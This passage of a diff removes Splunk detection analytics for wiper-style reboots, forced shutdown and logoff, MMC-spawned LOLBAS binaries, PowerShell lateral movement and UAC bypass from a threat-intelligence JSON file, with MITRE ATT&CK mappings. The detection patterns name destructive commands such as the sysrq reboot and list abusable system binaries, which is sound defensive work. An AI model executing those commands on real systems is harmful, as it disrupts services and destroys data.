pipe 'b' to /proc/sysrq-trigger. This activity is significant as it is an uncommon method to reboot a system and was observed in the Awfulshred malware wiper. If confirmed malicious, this technique could indicate the presence of suspicious processes and potential system compromise, leading to unauthorized reboots and disruption of services.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"dash\", \"sudo\", \"bash\") Processes.process = \"* echo b > *\" Processes.process = \"*/proc/sysrq-trigger\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_system_reboot_via_system_request_key_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ execute sysrq command $process$ to reboot $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Common Abused Cmd Shell Risk Behavior", - "description": "The following analytic identifies instances where four or more distinct detection analytics are associated with malicious command line behavior on a specific host. This detection leverages the Command Line Interface (CLI) data from various sources to identify suspicious activities. This behavior is significant as it often indicates attempts to execute malicious commands, access sensitive data, install backdoors, or perform other nefarious actions. If confirmed malicious, attackers could gain unauthorized control, exfiltrate information, escalate privileges, or launch further attacks within the network, leading to severe compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where source IN (\"*Cmdline Tool Not Executed In CMD Shell*\", \"*Windows System Network Config Discovery Display DNS*\", \"*Local Account Discovery With Wmic*\", \"*Net Localgroup Discovery*\", \"*Create local admin accounts using net exe*\", \"*Local Account Discovery with Net*\", \"*Icacls Deny Command*\", \"*ICACLS Grant Command*\", \"*Windows Proxy Via Netsh*\", \"*Processes launching netsh*\", \"*Disabling Firewall with Netsh*\", \"*Windows System Network Connections Discovery Netsh*\", \"*Network Connection Discovery With Arp*\", \"*Windows System Discovery Using ldap Nslookup*\", \"*Windows System Shutdown CommandLine*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_common_abused_cmd_shell_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "DarkCrystal RAT", - "Disabling Security Tools", - "FIN7", - "Netsh Abuse", - "Qakbot", - "Sandworm Tools", - "Volt Typhoon", - "Windows Defense Evasion Tactics", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "series of process commandline being abused by threat actor have been identified on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows System LogOff Commandline", - "description": "The following analytic detects the execution of the Windows command line to log off a host machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes involving `shutdown.exe` with specific parameters. This activity is significant as it is often associated with Advanced Persistent Threats (APTs) and Remote Access Trojans (RATs) like dcrat, which use this technique to disrupt operations, aid in system destruction, or inhibit recovery. If confirmed malicious, this could lead to system downtime, data loss, or hindered incident response efforts.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = shutdown.exe OR Processes.original_file_name = shutdown.exe) Processes.process=\"*shutdown*\" Processes.process IN (\"* /l*\", \"* -l*\") Processes.process IN (\"* /t*\",\"* -t*\",\"* /f*\",\"* -f*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_logoff_commandline_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT", - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ is seen to execute logoff commandline on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows System Reboot CommandLine", - "description": "The following analytic identifies the execution of the Windows command line to reboot a host machine using \"shutdown.exe\" with specific parameters. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as it is often associated with advanced persistent threats (APTs) and remote access trojans (RATs) like dcrat, which may use system reboots to disrupt operations, aid in system destruction, or inhibit recovery. If confirmed malicious, this could lead to system downtime, data loss, or hindered incident response efforts.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = shutdown.exe OR Processes.original_file_name = shutdown.exe) Processes.process=\"*shutdown*\" Processes.process IN (\"* /r*\", \"* -r*\") Processes.process IN (\"* /t*\",\"* -t*\",\"* /f*\",\"* -f*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_reboot_commandline_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT", - "DarkGate Malware", - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Process $process_name$ that executed reboot via commandline on $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows System Shutdown CommandLine", - "description": "The following analytic identifies the execution of the Windows shutdown command via the command line interface. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because attackers may use the shutdown command to erase tracks, cause disruption, or ensure changes take effect after installing backdoors. If confirmed malicious, this activity could lead to system downtime, denial of service, or evasion of security tools, impacting the overall security posture of the network.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = shutdown.exe OR Processes.original_file_name = shutdown.exe) Processes.process=\"*shutdown*\" AND Processes.process IN(\"* /s*\", \"* -s*\") AND Processes.process IN (\"* /t*\",\"* -t*\",\"* /f*\",\"* -f*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_shutdown_commandline_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT", - "DarkGate Malware", - "NjRAT", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Process $process_name$ seen to execute shutdown via commandline on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - } - ] - } } ], "external_reference": [ @@ -728211,423 +494164,7 @@ "commands": [], "queries": [], "parsed_datasets": [], - "possible_detections": [ - { - "name": "Mmc LOLBAS Execution Process Spawn", - "description": "The following analytic identifies `mmc.exe` spawning a LOLBAS execution process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where `mmc.exe` is the parent process. This activity is significant because adversaries can abuse the DCOM protocol and MMC20 COM object to execute malicious code, using Windows native binaries documented by the LOLBAS project. If confirmed malicious, this behavior could indicate lateral movement, allowing attackers to execute code remotely, potentially leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=mmc.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Dllhost.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Mmc.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Rundll32.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Explorer.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mmc_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Mmc.exe spawned a LOLBAS process on $dest$.", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Possible Lateral Movement PowerShell Spawn", - "description": "The following analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions. This activity is significant as it often indicates lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute code remotely, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe OR Processes.parent_process_name=services.exe OR Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wsmprovhost.exe OR Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR (Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN (\"*c:\\windows\\ccm\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_lateral_movement_powershell_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell process was spawned as a child process of typically abused processes on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "UAC Bypass MMC Load Unsigned Dll", - "description": "The following analytic detects the loading of an unsigned DLL by the MMC.exe application, which is indicative of a potential UAC bypass or privilege escalation attempt. It leverages Sysmon EventCode 7 to identify instances where MMC.exe loads a non-Microsoft, unsigned DLL. This activity is significant because attackers often use this technique to modify CLSID registry entries, causing MMC.exe to load malicious DLLs, thereby bypassing User Account Control (UAC) and gaining elevated privileges. If confirmed malicious, this could allow an attacker to execute arbitrary code with higher privileges, leading to further system compromise and persistence.", - "search": "`sysmon` EventCode=7 ImageLoaded = \"*.dll\" Image = \"*\\\\mmc.exe\" Signed=false Company != \"Microsoft Corporation\" | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded Signed ProcessId OriginalFileName dest EventCode Company | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `uac_bypass_mmc_load_unsigned_dll_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious unsigned $ImageLoaded$ loaded by $Image$ on endpoint $dest$ with EventCode $EventCode$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -1245253,5 +1010790,5 @@ ], "relationship_map": {}, "revoked": false, - "last_updated": "2024-07-01T03:06:26.998293+00:00" + "last_updated": "2024-07-15T03:06:58.583320+00:00" } \ No newline at end of file